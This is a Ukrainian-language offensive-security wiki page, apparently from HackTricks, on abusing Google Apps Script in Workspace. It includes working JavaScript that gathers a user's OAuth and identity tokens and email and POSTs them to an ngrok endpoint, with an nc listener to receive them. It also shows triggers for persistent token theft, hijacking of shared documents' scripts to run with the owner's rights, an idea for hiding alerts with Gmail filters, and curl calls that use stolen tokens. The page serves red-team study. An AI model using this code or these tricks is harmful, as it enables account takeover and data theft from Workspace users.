# GWS - App Scripts {{#include ../../../banners/hacktricks-training.md}} ## App Scripts App Scripts - це **код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script** і після **прийняття запиту OAuth**.\ Вони також можуть бути налаштовані на **виконання через певний проміжок часу** власником App Script (Persistence). ### Створити App Script Існує кілька способів створити App Script, хоча найпоширеніші з них - це **з Google Документу (будь-якого типу)** та як **окремий проект**:
Створити проект, прив'язаний до контейнера, з Google Docs, Sheets або Slides 1. Відкрийте документ Docs, таблицю Sheets або презентацію Slides. 2. Натисніть **Розширення** > **Google Apps Script**. 3. У редакторі скриптів натисніть **Без назви проект**. 4. Дайте вашому проекту назву та натисніть **Перейменувати**.
Створити окремий проект Щоб створити окремий проект з Apps Script: 1. Перейдіть на [`script.google.com`](https://script.google.com/). 2. Натисніть **Новий проект**. 3. У редакторі скриптів натисніть **Без назви проект**. 4. Дайте вашому проекту назву та натисніть **Перейменувати**.
Створити окремий проект з Google Drive 1. Відкрийте [Google Drive](https://drive.google.com/). 2. Натисніть **Новий** > **Інше** > **Google Apps Script**.
Створити проект, прив'язаний до контейнера, з Google Forms 1. Відкрийте форму в Google Forms. 2. Натисніть Інше more_vert > **Редактор скриптів**. 3. У редакторі скриптів натисніть **Без назви проект**. 4. Дайте вашому проекту назву та натисніть **Перейменувати**.
Створити окремий проект за допомогою інструменту командного рядка clasp `clasp` - це інструмент командного рядка, який дозволяє вам створювати, завантажувати/вивантажувати та розгортати проекти Apps Script з терміналу. Дивіться [Посібник по інтерфейсу командного рядка за допомогою `clasp`](https://developers.google.com/apps-script/guides/clasp) для отримання додаткової інформації.
## Сценарій App Script ### Створити Google Sheet з App Script Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до **`Розширення > App Scripts`**, це відкриє **новий App Script, пов'язаний з таблицею**. ### Leak token Щоб надати доступ до токена OAuth, вам потрібно натиснути на **`Сервіси +` і додати області, такі як**: - **AdminDirectory**: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав) - **Gmail**: Для доступу до даних gmail - **Drive**: Для доступу до даних диска - **Google Sheets API**: Щоб це працювало з тригером Щоб змінити **необхідні області**, ви можете перейти до налаштувань проекту та увімкнути: **`Показати файл маніфесту "appsscript.json" в редакторі`.** ```javascript function getToken() { var userEmail = Session.getActiveUser().getEmail() var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1) var oauthToken = ScriptApp.getOAuthToken() var identityToken = ScriptApp.getIdentityToken() // Data json data = { oauthToken: oauthToken, identityToken: identityToken, email: userEmail, domain: domain, } // Send data makePostRequest(data) // Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions // To ask for AdminDirectory permissions var pageToken = "" page = AdminDirectory.Users.list({ domain: domain, // Use the extracted domain orderBy: "givenName", maxResults: 100, pageToken: pageToken, }) // To ask for gmail permissions var threads = GmailApp.getInboxThreads(0, 10) // To ask for drive permissions var files = DriveApp.getFiles() } function makePostRequest(data) { var url = "http://5.tcp.eu.ngrok.io:12027" var options = { method: "post", contentType: "application/json", payload: JSON.stringify(data), } try { UrlFetchApp.fetch(url, options) } catch (e) { Logger.log("Error making POST request: " + e.toString()) } } ``` Щоб захопити запит, ви можете просто виконати: ```bash ngrok tcp 4444 nc -lv 4444 #macOS ``` Запити на дозволи для виконання App Script:
> [!WARNING] > Оскільки здійснюється зовнішній запит, запит OAuth також **попросить дозволи на доступ до зовнішніх кінцевих точок**. ### Створити тригер Після того, як App буде прочитано, натисніть на **⏰ Тригери**, щоб створити тригер. Як **функцію** для виконання виберіть **`getToken`**, запускається при розгортанні **`Head`**, у джерелі події виберіть **`З таблиці`** та тип події виберіть **`При відкритті`** або **`При редагуванні`** (згідно з вашими потребами) і збережіть. Зверніть увагу, що ви можете перевірити **виконання App Scripts на вкладці Виконання**, якщо хочете відлагодити щось. ### Спільний доступ Щоб **запустити** **App Script**, жертва повинна підключитися з **доступом редактора**. > [!TIP] > **Токен**, використаний для виконання **App Script**, буде токеном **творця тригера**, навіть якщо файл відкритий як Редактор іншими користувачами. ### Зловживання документами, спільно надісланими мені > [!CAUTION] > Якщо хтось **поділився з вами документом з App Scripts і тригером, використовуючи Head** App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і **App Script буде виконано з дозволами користувача, який поділився з вами документом**! (зверніть увагу, що OAuth токен власника матиме такі області доступу, які були надані під час створення тригера). > > **Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт** (Що, якщо використовувати дозволи gmail для створення фільтра, щоб запобігти сповіщенню?) > [!TIP] > Якщо **зловмисник змінює області доступу App Script**, оновлення **не будуть застосовані** до документа, поки не буде створено **новий тригер** з змінами. Тому зловмисник не зможе вкрасти токен власника творця з більшими областями доступу, ніж ті, які він встановив у тригері, який він створив. ### Копіювання замість спільного доступу Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\ Якщо ви **зміните** закінчення **"/edit"** на **"/copy"**, замість доступу до нього Google запитає вас, чи хочете ви **створити копію документа:**
Якщо користувач копіює його та отримує доступ, як **вміст документа, так і App Scripts будуть скопійовані**, однак **тригери не будуть**, тому **нічого не буде виконано**. ### Спільний доступ як веб-додаток Зверніть увагу, що також можливо **поділитися App Script як веб-додатком** (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:
Після цього з'явиться **типове запит OAuth**, що запитує необхідні дозволи. ### Тестування Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою: ```bash curl -X GET "https://www.googleapis.com/gmail/v1/users//messages" \ -H "Authorization: Bearer " ``` Список календаря користувача: ```bash curl -H "Authorization: Bearer $OAUTH_TOKEN" \ -H "Accept: application/json" \ "https://www.googleapis.com/calendar/v3/users/me/calendarList" ``` ## App Script як постійний доступ Один з варіантів постійного доступу - це **створити документ і додати тригер для функції getToken** та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він **екстрагує токен жертви.** Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який **компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен**: Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер, а також виберіть опції, які вам найбільше підходять:
> [!CAUTION] > Це створить електронний лист про безпеку та push-повідомлення на вашому мобільному телефоні, що сповіщає про це. ### Обхід неперевіреного запиту спільного документа Більше того, якщо хтось **поділився** з вами документом з **доступом редактора**, ви можете створювати **App Scripts всередині документа**, а **ВЛАСНИК (творець) документа буде власником App Script**. > [!WARNING] > Це означає, що **творець документа з'явиться як творець будь-якого App Script**, який створить будь-хто з доступом редактора всередині нього. > > Це також означає, що **App Script буде довіреним середовищем Workspace** творця документа. > [!CAUTION] > Це також означає, що якщо **App Script вже існував** і люди надали **доступ**, будь-хто з **дозволом редактора** на документ може **модифікувати його та зловживати цим доступом.**\ > Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один з цікавих трюків - це **опублікувати скрипт як веб-додаток**. Коли **люди**, які вже надали **доступ** до App Script, отримують доступ до веб-сторінки, вони **активують App Script** (це також працює за допомогою тегів ``). {{#include ../../../banners/hacktricks-training.md}}